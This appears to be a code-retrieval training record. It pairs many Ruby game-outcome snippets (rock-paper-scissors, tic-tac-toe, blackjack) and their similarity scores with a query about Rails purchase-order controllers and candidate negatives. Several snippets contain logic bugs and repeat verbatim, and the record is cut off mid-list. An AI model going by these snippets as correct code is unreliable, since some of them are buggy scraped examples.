"def check_win(person1, person2)\n case person1\n when 'rock'\n if person2 == 'scissor'\n return \"Player 1 wins by playing #{person1}!\"\n elsif\n person2 == 'paper'\n return \"Player2 wins by playing #{person2}!\"\n else return \"Draw!\"\n end\n when 'scissor'\n if person2 == 'paper'\n return \"Player 1 wins by playing #{person1}!\"\n elsif\n person2 == 'rock'\n return \"Player2 wins by playing #{person2}!\"\n else return \"Draw!\"\n end\n when 'paper'\n if person2 == 'rock'\n return \"Player 1 wins by playing #{person1}!\"\n elsif\n person2 == 'scissor'\n return \"Player2 wins by playing #{person2}!\"\n else return \"Draw!\"\n end\n end\n end",
"def over?\n won? || tied?\n end",
"def rps_game\n puts \"Player 1 enter rock, paper, or scissors: \"\n player1 = gets.chomp\n puts \"Player 2 enter rock, paper, or scissors: \"\n player2 = gets.chomp\n if player1 != \"rock\" || player1 != \"paper\" || player1 != \"scissors\"\n puts \"Player 1 MUST enter rock, paper, or scissors! \"\n elsif player2 != \"rock\" || player2 != \"paper\" || player2 != \"scissors\"\n puts \"Player 2 MUST enter rock, paper, or scissors! \"\n elsif player1 == \"rock\" && player2 == \"paper\"\n puts \"Player 2 wins\"\n elsif player1 == \"rock\" && player2 == \"scissors\"\n puts \"Player 1 wins\"\n elsif player2 == \"rock\" && player1 == \"paper\"\n puts \"Player 1 wins\"\n elsif player2 == \"rock\" && player1 == \"scissors\"\n puts \"Player 2 wins\"\n elsif player1 == \"paper\" && player2 == \"scissors\"\n puts \"Player 2 wins\"\n elsif player1 == \"paper\" && player2 == \"rock\"\n puts \"Player 2 wins\"\n else\n puts \"Its a tie!\"\n end\nend",
"def game\n if p1 == \"rock\" && p2 == \"scissors\"\n victor = \"rock\"\n elsif p1 == \"scissors\" && p2 == \"rock\"\n victor = \"rock\"\n elsif p1 == \"scissors\" && p2 == \"paper\"\n victor = \"scissors\"\n elsif p1 == \"paper\" && p2 == \"scissors\"\n victor = \"scissors\"\n elsif p1 == \"paper\" && p2 == \"rock\"\n victor = \"paper\"\n else p1 == \"rock\" && p2 == \"paper\"\n victor = \"paper\"\n end\n return victor\n end",
"def winner player1, player2\n player1.health > player2.health ? player1 : player2\n end",
"def weapon?\n melee_weapon? or ranged_weapon?\n end",
"def game_over? \n @player1.is_dead? || @player2.is_dead?\n end",
"def over?\n self.won? || self.draw?\n end",
"def determine_game_winner(p1, p2)\n winning_choices = {spock: [\"scissors\", \"rock\"], paper: [\"rock\", \"spock\"], scissors: [\"paper\", \"lizard\"], rock: [\"scissors\", \"lizard\"], lizard: [\"spock\", \"paper\"]}\n \n if p1.move == p2.move\n winner = Player.new(\"Neither\")\n elsif\n winning_choices[p1.move.to_sym].include?(p2.move.to_s)\n winner = p1\n else\n winner = p2\n end\n winner.score += 1\n return winner\n end",
"def check_score\n if @player_1.lose\n winner(@player_2)\n elsif @player_2.lose\n winner(@player_1)\n end\n end",
"def match_won?\n if @sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n if @opponent.sets_won == 3\n @match_won = 1\n @sets_won = 0\n @opponent.sets_won = 0\n end\n end",
"def over?\n self.draw? || self.won? != false\n end",
"def winner?\n not @winners[@pick].nil?\n end",
"def winner_of_game(p1, p2)\n if @rules[p1.move].include?(p2.move) == true\n @winner = p1.name\n p1.score += 1\n elsif @rules[p2.move].include?(p1.move) == true\n @winner = p2.name\n p2.score += 1\n else\n @winner = \"Tie\"\n end\n @winner\n end",
"def game_over?\n self.lost? || self.won?\n end",
"def over?\n draw? || won? || full?\nend",
"def play(p1_choice,p2_choice)\n if p1_choice == \"rock\"\n if p2_choice == \"paper\"\n self.winner_id = p2_choice.id\n elsif p2_choice == \"scissor\"\n self.winner_id = p1_choice.id\n end\n\n return winner_id\n end\n\n if p1_choice == \"paper\"\n if p2_choice == \"rock\"\n return @winner_id = p1_choice.id\n elsif p2_choice == \"scissor\"\n return @winner_id = p2_choice.id\n else\n return @winner_id\n end\n end\n\n if p1_choice == \"scissor\"\n if p2_choice == \"rock\"\n return @winner_id = p2_choice.id\n elsif p2_choice == \"paper\"\n return @winner_id = p1_choice.id\n else\n return @winner_id\n end\n end\n\n\n # plays game\n # return either p1_choice or p2_choice winner\n end",
"def game_over?\n (@player1.lives == 0) || (@player2.lives == 0)\n end",
"def winner\n return nil if player_one_move == player_two_move\n winning_combinations = { 'rock' => 'scissors', 'scissors' => 'paper', 'paper' => 'rock' }\n {\n true => player_one,\n false => player_two,\n }[winning_combinations[player_one_move] == player_two_move]\n end",
"def playable\r\n\t\t@phand.each do |x| #go through player hand\r\n\t\t\tif @attack[-1].suit == @trump.suit && x.suit == @trump.suit && x.value > @attack[-1].value\r\n\t\t\t\tx.canplay = true\r\n\t\t\telsif x.suit == @trump.suit && @attack[-1].suit != @trump.suit #player can always trump any non trump\r\n\t\t\t\tx.canplay = true\r\n\t\t\telsif x.suit == @attack[-1].suit && x.value > @attack[-1].value #player can play a higher card of the same suit\r\n\t\t\t\tx.canplay = true\r\n\t\t\telsif x.value == @attack[-1].value && @defend.count == 0\r\n\t\t\t\tx.canplay = true\r\n\t\t\telse\r\n\t\t\t\tx.canplay = false\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"def over? #\n draw? || won?\nend",
"def over?\n won? || draw?\n end",
"def advantage?\n @player1.points >= 4 && @player1.points == (@player2.points + 1) ||\n @player2.points >= 4 && @player2.points == (@player1.points + 1)\n end",
"def over?\n won? || draw?\n end",
"def over?\n won? || draw?\n end",
"def game_over?\n remaining_players == 1\n end",
"def win?(player_check)\n other = \"\"\n player_check == player ? other = dealer : other = player\n if (player_check == player)&&(player_check.hand_total == other.hand_total)\n return \"Tie\"\n elsif (player_check.bust == false) && (other.bust == false) && (player_check.hand_total > other.hand_total)\n return true\n elsif (player_check.hand_total == 21)\n return true\n elsif (player_check.bust == false) && (other.bust == false)&&(player_check.hand_total < other.hand_total)\n return false\n elsif (player_check.bust == false) && (other.bust == true)\n return true\n elsif (player_check.bust == true) && (other.bust == false)\n return false\n elsif (player_check.bust = true) && (other.bust == true)\n return \"Bust\"\n end\n end",
"def who_won?\n which = rand(2) + 1\n if which == 1\n return @player1\n else\n return @player2\n end\n end",
"def over?\n if draw? || won?\n true\n else \n false\n end\nend",
"def over?\n draw? || won?\n end",
"def over?\n draw? || won?\n end",
"def over?\n won? || draw? || full?\n end",
"def the_winner(p1_score, p2_score)\n\tif p1_score >= 3\t\n\t\treturn \"Game over! Player 1 wins!\"\t\n\telsif p2_score >= 3\n\t\treturn \"Game over! Player 2 wins!\"\t\n\tend\nend",
"def over?\n won? || full? || draw?\n end",
"def dealer_won?\n !dealer.busted? && (player.busted? || dealer.cards_total > player.cards_total) \nend",
"def over?\r\n won? || draw?\r\n end",
"def decide(hand)\n value(hand) >= 17 && :stand || :hit\nend",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def over?\n won? || draw? || full?\n end",
"def determineWinner\n if @botChoice == @playerChoice\n puts \"It's a tie! Redo round:\"\n elsif (@playerChoice == \"paper\" and @botChoice == \"rock\") or \\\n (@playerChoice == \"scissors\" and @botChoice == \"paper\") or \\\n (@playerChoice == \"rock\" and @botChoice == \"scissors\")\n @roundsWon += 1\n @roundsLeft -= 1\n puts \"You won this round! Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n else\n @roundsLost += 1\n @roundsLeft -= 1\n puts \"You lost this round... Rounds Won: #{@roundsWon}. Rounds Lost: #{@roundsLost}\"\n end\n end",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def over?\n draw? || won?\n end",
"def rps(fist1, fist2)\n if fist1 == 'rock'\n (fist2 == 'paper') ? 'paper' : 'rock'\n elsif fist1 == 'paper'\n (fist2 == 'scissors') ? 'scissors' : 'paper'\n else\n (fist2 == 'rock') ? 'rock' : 'scissors'\n end\nend",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else \n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\nend",
"def Winner?(player)\r\n end",
"def over?\n if won? || draw? || full?\n true\n else\n false\n end\nend",
"def determine_winner(player_one_selection, player_two_selection)\n if player_one_selection == player_two_selection\n outcome = \"\\nThis round was a tie. You both chose '#{player_one.move}'\"\n elsif player_one_selection == \"rock\" && player_two_selection == \"scissors\" ||\n player_one_selection == \"paper\" && player_two_selection == \"rock\" ||\n player_one_selection == \"scissors\" && player_two_selection == \"paper\"\n outcome = \"\\n#{player_one.name} won this round!\"\n @player_one.wins_round\n elsif player_two_selection == \"rock\" && player_one_selection == \"scissors\" ||\n player_two_selection == \"paper\" && player_one_selection == \"rock\" ||\n player_two_selection == \"scissors\" && player_one_selection == \"paper\"\n outcome = \"\\n#{player_two.name} won this round!\"\n @player_two.wins_round\n else\n puts \"\\nSomething strange happened here\"\n end\n outcome\n end",
"def determine_winner(p1, p2)\n p1.acquire_move(@rules)\n p2.acquire_move(@rules)\n @rules.winner_of_game(p1, p2)\n end",
"def won?\n end",
"def won?\n end",
"def over?\n return draw? || won?\n end",
"def rps(fist1, fist2)\n if fist1 == \"rock\"\n (fist2 == \"paper\") ? \"paper\" : \"rock\"\n elsif fist1 == \"paper\"\n (fist2 == \"scissors\") ? \"scissors\" : \"paper\"\n else\n (fist2 == \"rock\") ? \"rock\" : \"scissors\"\n end\n end",
"def check_for_game_over\n if @proposed_code == @secret_code && @player_role_selection == 'breaker'\n puts 'YOU WIN!'\n true\n elsif @proposed_code == @secret_code && @player_role_selection == 'maker'\n puts 'COMPUTER WINS!'\n true\n else\n false\n end\n end",
"def play_hand\n\n p1 = self.player1\n p2 = self.player2\n p1.play\n p2.play\n winner = winner?(p1,p2)\n if winner\n handle_winner(p1,p2)\n else \n self.war\n end\n\n end",
"def wearable?\n weapon? or armor? or accessory?\n end",
"def over?\n\t\tdraw? || won?\n\tend",
"def type\n\n if (@player1.deck.cards.count < 3 || @player2.deck.cards.count < 3)\n if @player1.deck.cards.count < 3\n @player1.has_lost?(true)\n else\n @player2.has_lost?(true)\n end\n else\n if @player1.deck.cards[0].rank != @player2.deck.cards[0].rank\n :basic\n elsif\n (@player1.deck.cards[0].rank == @player2.deck.cards[0].rank) &&\n (@player1.deck.cards[2].rank == @player2.deck.cards[2].rank)\n :mutually_assured_destruction\n else\n :war\n end\n end\n end",
"def won_match?\n @sets_won == 3\n end",
"def check_win_or_lose\n # returns one of the symbols :win, :lose, or :play depending on the current game state\n \n end",
"def staying_pick_wins?(pick)\n\t\twon?(pick)\n\tend",
"def over?\n if ( won? || draw? || full?)\n return true\n else\n return false\n end\nend",
"def over?\n draw? || won?\n end",
"def over?\n if won? || draw? || full?\n true\n end\n end",
"def winner_of_game(p1, p2)\n if @rules[p1.move] == p2.move\n @winner = p1.name\n p1.score += 1\n elsif @rules[p2.move] == p1.move\n @winner = p2.name\n p2.score += 1\n else\n @winner = \"Tie\"\n end\n @winner\n end",
"def rps_game\n puts 'Enter a move Player 1: Rock, Paper, or Scissors'\n p1_move = gets.chomp\n puts 'Enter a move Player 2: Rock, Paper, or Scissors'\n p2_move = gets.chomp\n if p1_move == p2_move\n puts \"Draw\"\n elsif (p1_move == \"Rock\" && p2_move == \"Scissors\") || (p1_move == \"Paper\" && p2_move == \"Rock\") ||\n (p1_move == \"Scissors\" && p2_move == \"Paper\")\n puts \"Player 1 Wins!!\"\n elsif (p2_move == \"Rock\" && p1_move == \"Scissors\") || (p2_move == \"Paper\" && p1_move == \"Rock\") ||\n (p2_move == \"Scissors\" && p1_move == \"Paper\")\n puts \"Player 2 Wins!!\"\n end\nend",
"def rps(user_hand)\nuser_hand.downcase!\ncomp_hand = [\"rock\", \"paper\", \"scissors\"].sample\n# \"rock\" < \"paper\"=== tru\n# \"rock\" > \"scissor\"\n# \"paper\" < \"scissor\"\n if (comp_hand == \"rock\" && user_hand == \"paper\") || \n (comp_hand== \"scissors\" && user_hand == \"rock\") || \n (comp_hand== \"paper\" && user_hand == \"scissors\")\n \"user had #{user_hand} and computer had #{comp_hand}. User wins!\"\n elsif comp_hand == user_hand\n \"user had #{user_hand} and computer had #{comp_hand}. Draw!\"\n else \n \"user had #{user_hand} and computer had #{comp_hand}. Computer wins!\"\n end\nend",
"def winner\n return self.player_a_pyre_end_health <= 0 ? :player_b : :player_a\n end",
"def winner\n winning_conditions_met? == \"x\" ? \"#{@player_one} won!\" : \"#{@player_two} won!\"\n end"
] |
[
"0.79259664",
"0.7843955",
"0.7677486",
"0.75423276",
"0.74861884",
"0.74719155",
"0.7442633",
"0.7417577",
"0.7301638",
"0.7237985",
"0.7236357",
"0.7223398",
"0.7199837",
"0.7144517",
"0.71330255",
"0.7095467",
"0.7061443",
"0.69324934",
"0.68711644",
"0.6870875",
"0.68117577",
"0.6796677",
"0.6768086",
"0.6767562",
"0.676693",
"0.6762695",
"0.6754495",
"0.675015",
"0.6745896",
"0.67380226",
"0.6734141",
"0.6676609",
"0.6657085",
"0.66508627",
"0.6634059",
"0.6633663",
"0.6631022",
"0.6623425",
"0.6617226",
"0.6615145",
"0.6611839",
"0.6574462",
"0.6571444",
"0.6571444",
"0.65672714",
"0.65593356",
"0.6555338",
"0.6554311",
"0.6553479",
"0.6553479",
"0.6549208",
"0.65469235",
"0.6523474",
"0.65022385",
"0.649773",
"0.6496694",
"0.648604",
"0.648604",
"0.648604",
"0.64846826",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.6484025",
"0.64827114",
"0.6481951",
"0.6480212",
"0.64763767",
"0.6470714",
"0.645183",
"0.64505196",
"0.6444807",
"0.6444807",
"0.6442434",
"0.6436616",
"0.6426535",
"0.6417187",
"0.6413317",
"0.6411862",
"0.6408934",
"0.6407326",
"0.6407094",
"0.64017725",
"0.6400714",
"0.6398225",
"0.6396261",
"0.63941777",
"0.6394028",
"0.6386704",
"0.6384318",
"0.63734055"
] |
0.7870847
|
1
|
GET /purchase_orders GET /purchase_orders.json
|
def index
@purchase_orders = PurchaseOrder.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end",
"def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end",
"def index\n @purchase_orders = current_user.purchase_orders\n @purchase_orders = @purchase_orders.map{ |purchase_order| purchase_order.attributes }\n render json: @purchase_orders\n end",
"def orders\n authenticated_post(\"auth/r/orders\").body\n end",
"def orders\n authenticated_post(\"orders\").body\n end",
"def index\n @purchase_orders = PurchaseOrders.all\n end",
"def index\n @orders = Order.all\n render json: @orders\n end",
"def index\n @purchaseorders = Purchaseorder.all\n end",
"def index\n @orders = Order.all\n render json: @orders, status: 200\n end",
"def get_orders\n return ShopifyAPI::Order.all\n end",
"def index\n @purchases = Purchase.where(user_id: get_current_user.id.to_i)\n\n render json: @purchases\n end",
"def index\n @orders = current_user.purchases\n end",
"def show\n @purchaseorder = Purchaseorder.find(params[:id])\n @purchaseorder_items = @purchaseorder.purchaseorder_items.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchaseorder }\n end\n end",
"def index\n @purchases = Purchase.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def index\n @purchases = Purchase.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend",
"def index\n @order_line_items = @order.order_line_items\n\n render json: @order_line_items\n end",
"def index\n @orders = Order.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def show\n render json: @purchase_list\n end",
"def show\n authorize @purchase_order\n render json: @purchase_order.attributes\n end",
"def index\n @purchases = Purchase.find_all_by_user_id(current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def index\n\t\t@orders = Order.all\n\t\trespond_with @orders\n\tend",
"def index\n @orders = Order.all\n respond_to do |format|\n format.html\n format.json { render :json => @orders }\n end\n end",
"def index\n @purchases = Purchase.all.order(purchase_date: :desc).order(created_at: :desc).paginate(:page => params[:page], per_page: 10)\n\n render json: {purchases: @purchases, total_pages: @purchases.total_pages, current_page: @purchases.current_page}\n end",
"def index\n @power_orders = PowerOrder.all\n render json: @power_orders\n end",
"def index\n\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @purchase_lists = PurchaseList.all\n render json: @purchase_lists\n end",
"def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def index\n @purchase_orders = PurchaseOrder.all.order(client_id: :asc, active: :desc, title: :asc)\n end",
"def get_orders\n orders\n end",
"def show\n render json: @order\n end",
"def show\n render json: @order\n end",
"def index\n #@orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def listOrders()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n ret = []\n Order.find_each do |order|\n ret << {id: order.id, product_id: order.product_id, product_name: Product.find(order.product_id).name, user_id: order.user_id, quantity: order.quantity, price_per_unit: order.price_per_unit, int_status: order.order_status}\n end\n render json: {data: ret.to_json, reason: '', status: true}\n end",
"def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end",
"def index\n @orders = Order.all\n if @orders.count >= 1\n json_response(@orders)\n else\n json_response({ Message: Message.no_data }, :not_found)\n end\n end",
"def index\n @purchases = purchases.recent\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def index # see model > order.rb\n # if current_user\n @orders = current_user.orders\n render \"index.json.jb\"\n # else\n # render json: [], status: :unauthorized\n # end\n end",
"def index\n @line_items = @order.line_items\n\n render json: @line_items\n end",
"def show\n @order = Order.find(params[:id])\n\n render json: @order\n end",
"def index\n @orders = order.all\n end",
"def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend",
"def show\n order = Order.find(params[:id])\n render json: order\n end",
"def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end",
"def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend",
"def all_orders(options)\n request :account, :get, 'allOrders', options\n end",
"def index\n @orders = @orders.all\n end",
"def orders(params = {})\n get('/market/orders', params)\n .map { |data| build_persisted_order data }\n end",
"def index\n @orders = Order.all\n render json: { status: 'SUCCESS', message: 'Loaded posts', data: @orders }\n end",
"def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end",
"def customer_recurring_orders\n # 1 represents \n @orders = Order.where(customer_id: current_user.customer_id, category: :recurring)\n render json: @orders, status: 200\n \n \n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end",
"def index\n @orders = Order.all\n end"
] |
[
"0.76597935",
"0.76165295",
"0.7568371",
"0.74410343",
"0.7321653",
"0.7274848",
"0.72494054",
"0.7203941",
"0.71983325",
"0.71800095",
"0.70805234",
"0.7024208",
"0.6968476",
"0.6960769",
"0.6960769",
"0.6923767",
"0.6845308",
"0.68266785",
"0.67987925",
"0.67982656",
"0.6790686",
"0.678847",
"0.6782734",
"0.6770019",
"0.67686826",
"0.6756212",
"0.6752986",
"0.6745615",
"0.6737721",
"0.673747",
"0.673747",
"0.673747",
"0.673747",
"0.67294866",
"0.67086005",
"0.67074853",
"0.67074853",
"0.6701744",
"0.6698522",
"0.6688161",
"0.66630244",
"0.6642591",
"0.66190743",
"0.6612328",
"0.65814495",
"0.658",
"0.65650964",
"0.6544466",
"0.6544148",
"0.6539189",
"0.65239966",
"0.65213674",
"0.6507166",
"0.6497171",
"0.64931154",
"0.6487535",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099",
"0.6487099"
] |
0.7228544
|
11
|
GET /purchase_orders/1 GET /purchase_orders/1.json
|
def show
@purchase_order_details = @purchase_order.purchase_order_details
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @purchase_orders = current_user.purchase_orders\n @purchase_orders = @purchase_orders.map{ |purchase_order| purchase_order.attributes }\n render json: @purchase_orders\n end",
"def index\n @purchases = Purchase.where(user_id: get_current_user.id.to_i)\n\n render json: @purchases\n end",
"def show\n @purchaseorder = Purchaseorder.find(params[:id])\n @purchaseorder_items = @purchaseorder.purchaseorder_items.paginate(page: params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchaseorder }\n end\n end",
"def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end",
"def index\n @purchase_orders = PurchaseOrders.all\n end",
"def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end",
"def find\n @purchaseorder = Purchaseorder.find_by_po_no(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchaseorder }\n end\n end",
"def index\n @purchases = Purchase.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def index\n @purchases = Purchase.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @purchases }\n end\n end",
"def index\n @purchase_orders = PurchaseOrder.all\n end",
"def index\n @purchase_orders = PurchaseOrder.all\n end",
"def index\n @purchase_orders = PurchaseOrder.all\n end",
"def index\n @purchase_orders = PurchaseOrder.all\n end",
"def index\n @purchase_orders = PurchaseOrder.all\n end",
"def index\n @purchaseorders = Purchaseorder.all\n end",
"def index\n @orders = Order.all\n render json: @orders\n end",
"def index\n @orders = Order.all\n render json: @orders, status: 200\n end",
"def show\n render json: @purchase_list\n end",
"def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend",
"def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end",
"def show\n @order = Order.find(params[:id])\n\n render json: @order\n end",
"def show\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase }\n end\n end",
"def show\n @purchase = Purchase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @purchase }\n end\n end",
